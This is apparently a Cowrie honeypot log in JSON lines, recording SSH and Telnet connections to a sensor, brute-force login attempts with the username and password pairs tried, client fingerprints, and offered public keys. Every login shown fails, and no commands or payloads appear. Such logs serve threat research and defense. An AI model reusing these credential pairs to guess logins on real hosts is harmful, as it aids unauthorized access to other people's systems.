{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e6:00:00:94:1e:ae:9f:da:1f:38:8d:f8:cc:be:23:3e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGC2EydOLGOG/MJ1yYfrYq3LAJWNs4vc5+/P/doA4YscY/Hz3bWnqr+yk/DMUBVr7P8kOWIyez1oAqr4lsemv5CDeAy2tLHAYYyPUnOn/oCDrSTm+EzoIRFVsZOqWbKywrODdw+JfbkH6OFVU59NEa+GxS6o3O2Zm2nK6OIQ35qIEc3SAfiIU/8xkS4c+nSbsO41u9PY7PARVMseh+g3aboH02LAsH9/sMTZai3EYLS8AGJNhiymEX/G9e99CjQaqNBTTpBCOvL+ECv3wP4t2zvhI4XVitL6c93g1LU8U51kUL5mTxAUXRK1HestiU3w2n8eeKoulV/YOlva7a9TUJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:05:13.559332Z","src_ip":"23.131.184.100","session":"20137ad8876c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:05:13.606989Z","src_ip":"23.131.184.100","session":"20137ad8876c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":16.632482767105103,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:05:13.887218Z","src_ip":"152.42.224.71","session":"0eb9b5aaf195","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":40948,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e60c59f5640","protocol":"ssh","message":"New connection: 103.82.132.16:40948 (10.17.0.5:22) [session: 2e60c59f5640]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:05:17.751716Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:05:17.757461Z","src_ip":"103.82.132.16","session":"2e60c59f5640","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:05:18.012383Z","src_ip":"103.82.132.16","session":"2e60c59f5640","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234554321q","message":"login attempt [root/1234554321q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:05:18.778478Z","src_ip":"103.82.132.16","session":"2e60c59f5640","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:05:20.036590Z","src_ip":"103.82.132.16","session":"2e60c59f5640","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52602,"dst_ip":"10.17.0.5","dst_port":23,"session":"0dd62f50173a","protocol":"telnet","message":"New connection: 152.42.224.71:52602 (10.17.0.5:23) [session: 0dd62f50173a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:05:27.067987Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52612,"dst_ip":"10.17.0.5","dst_port":23,"session":"42775dda4db7","protocol":"telnet","message":"New connection: 152.42.224.71:52612 (10.17.0.5:23) [session: 42775dda4db7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:05:34.915403Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52614,"dst_ip":"10.17.0.5","dst_port":23,"session":"0563c52262de","protocol":"telnet","message":"New connection: 152.42.224.71:52614 (10.17.0.5:23) [session: 0563c52262de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:05:35.444865Z"}
{"eventid":"cowrie.session.closed","duration":26.465701818466187,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:05:39.736052Z","src_ip":"152.42.224.71","session":"3f42dfad83aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":117.52246141433716,"message":"Connection lost after 117 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:05:41.469216Z","src_ip":"152.42.224.71","session":"7cd853445895","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":35062,"dst_ip":"159.203.135.109","dst_port":22,"session":"b3aff60c65d5","protocol":"ssh","message":"New connection: 103.75.182.198:35062 (159.203.135.109:22) [session: b3aff60c65d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:06:02.322488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:06:02.327613Z","src_ip":"103.75.182.198","session":"b3aff60c65d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:06:02.570416Z","src_ip":"103.75.182.198","session":"b3aff60c65d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"russia","message":"login attempt [root/russia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:06:03.298221Z","src_ip":"103.75.182.198","session":"b3aff60c65d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:06:04.543784Z","src_ip":"103.75.182.198","session":"b3aff60c65d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":34246,"dst_ip":"159.203.135.109","dst_port":22,"session":"b9ab548c6050","protocol":"ssh","message":"New connection: 103.27.238.114:34246 (159.203.135.109:22) [session: b9ab548c6050]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:06:05.504111Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:06:05.512001Z","src_ip":"103.27.238.114","session":"b9ab548c6050","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:06:05.791895Z","src_ip":"103.27.238.114","session":"b9ab548c6050","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"super123","message":"login attempt [root/super123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:06:06.628381Z","src_ip":"103.27.238.114","session":"b9ab548c6050","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:06:07.910934Z","src_ip":"103.27.238.114","session":"b9ab548c6050","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.62478566169739,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:06:23.069509Z","src_ip":"152.42.224.71","session":"0563c52262de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57464,"dst_ip":"10.17.0.5","dst_port":23,"session":"e281229213a7","protocol":"telnet","message":"New connection: 152.42.224.71:57464 (10.17.0.5:23) [session: e281229213a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:06:33.511090Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":42330,"dst_ip":"10.17.0.5","dst_port":22,"session":"b67aa2fef40c","protocol":"ssh","message":"New connection: 193.32.162.145:42330 (10.17.0.5:22) [session: b67aa2fef40c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:06:36.408985Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:06:36.416393Z","src_ip":"193.32.162.145","session":"b67aa2fef40c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:06:36.515147Z","src_ip":"193.32.162.145","session":"b67aa2fef40c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"solana@","message":"login attempt [ubuntu/solana@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:06:36.808054Z","src_ip":"193.32.162.145","session":"b67aa2fef40c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:06:37.913971Z","src_ip":"193.32.162.145","session":"b67aa2fef40c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43486,"dst_ip":"10.17.0.5","dst_port":23,"session":"42b157e21e8b","protocol":"telnet","message":"New connection: 152.42.224.71:43486 (10.17.0.5:23) [session: 42b157e21e8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:06:39.629059Z"}
{"eventid":"cowrie.session.closed","duration":69.89634656906128,"message":"Connection lost after 69 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:06:44.811649Z","src_ip":"152.42.224.71","session":"42775dda4db7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":41804,"dst_ip":"10.17.0.5","dst_port":22,"session":"b205e7528af2","protocol":"ssh","message":"New connection: 185.236.22.41:41804 (10.17.0.5:22) [session: b205e7528af2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:06:50.382639Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:06:50.394922Z","src_ip":"185.236.22.41","session":"b205e7528af2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:06:50.508397Z","src_ip":"185.236.22.41","session":"b205e7528af2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"090909","message":"login attempt [root/090909] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:06:50.963760Z","src_ip":"185.236.22.41","session":"b205e7528af2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:06:52.082975Z","src_ip":"185.236.22.41","session":"b205e7528af2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35556,"dst_ip":"10.17.0.5","dst_port":23,"session":"89c61b03c2e0","protocol":"telnet","message":"New connection: 152.42.224.71:35556 (10.17.0.5:23) [session: 89c61b03c2e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:06:52.794623Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.91.111.247","src_port":41114,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf1708f267de","protocol":"ssh","message":"New connection: 51.91.111.247:41114 (10.17.0.5:22) [session: cf1708f267de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:06:54.803731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:06:54.810794Z","src_ip":"51.91.111.247","session":"cf1708f267de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:06:54.902499Z","src_ip":"51.91.111.247","session":"cf1708f267de","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"48:52:01:1b:0c:0f:dc:1c:6a:5b:2f:b0:59:70:25:cb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCp56UL/TiouEzO1aX0HNwwaS8MAgeenuAQAIl77fY6VWz7JkZlTlNaJBWRVcmfdnjB6d053/cB3WTfsvbpO+gdRcp8EKcRm16Co/mpmY0wwUyhGo4LMdXcMZ/FITwJ5YbdwYvx3U2crnjWCgUgBR+mwXMUBUAl1NKvxJiohadjgb1OX5fO8TsGl4bhip3qcbRRI/0UNRjwzhkuTj++KpqeTRTtJfn4ppism7HYeNx6bljf2qr9TAeHkBB75aNz81boTVoWufQyiEPBqGIfTLTyNX2KfNbSuqrkJC8uWTusz6ctHHogsMKJywKKteVJ4KPiz0ZFL4BRn/fO+zFa+KaP7k8KO4ILj2rY0c18yvfbFXLAk+frJpHA6VvuEGQXKAKV66AKoTkgPwWoqzVfN996HCtNJByWuMExhZV+Ubwyi1nXoXEPctgzoymPX7QV2alx20UMU36F8DRr5KEWKXS0Ptb9aZshYqwOjLG0OupN6vlZLDR4ev3mjOC9YrS6/Mk=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 48:52:01:1b:0c:0f:dc:1c:6a:5b:2f:b0:59:70:25:cb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:06:55.328374Z","src_ip":"51.91.111.247","session":"cf1708f267de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"48:52:01:1b:0c:0f:dc:1c:6a:5b:2f:b0:59:70:25:cb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCp56UL/TiouEzO1aX0HNwwaS8MAgeenuAQAIl77fY6VWz7JkZlTlNaJBWRVcmfdnjB6d053/cB3WTfsvbpO+gdRcp8EKcRm16Co/mpmY0wwUyhGo4LMdXcMZ/FITwJ5YbdwYvx3U2crnjWCgUgBR+mwXMUBUAl1NKvxJiohadjgb1OX5fO8TsGl4bhip3qcbRRI/0UNRjwzhkuTj++KpqeTRTtJfn4ppism7HYeNx6bljf2qr9TAeHkBB75aNz81boTVoWufQyiEPBqGIfTLTyNX2KfNbSuqrkJC8uWTusz6ctHHogsMKJywKKteVJ4KPiz0ZFL4BRn/fO+zFa+KaP7k8KO4ILj2rY0c18yvfbFXLAk+frJpHA6VvuEGQXKAKV66AKoTkgPwWoqzVfN996HCtNJByWuMExhZV+Ubwyi1nXoXEPctgzoymPX7QV2alx20UMU36F8DRr5KEWKXS0Ptb9aZshYqwOjLG0OupN6vlZLDR4ev3mjOC9YrS6/Mk=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:06:55.333330Z","src_ip":"51.91.111.247","session":"cf1708f267de","protocol":"ssh"}
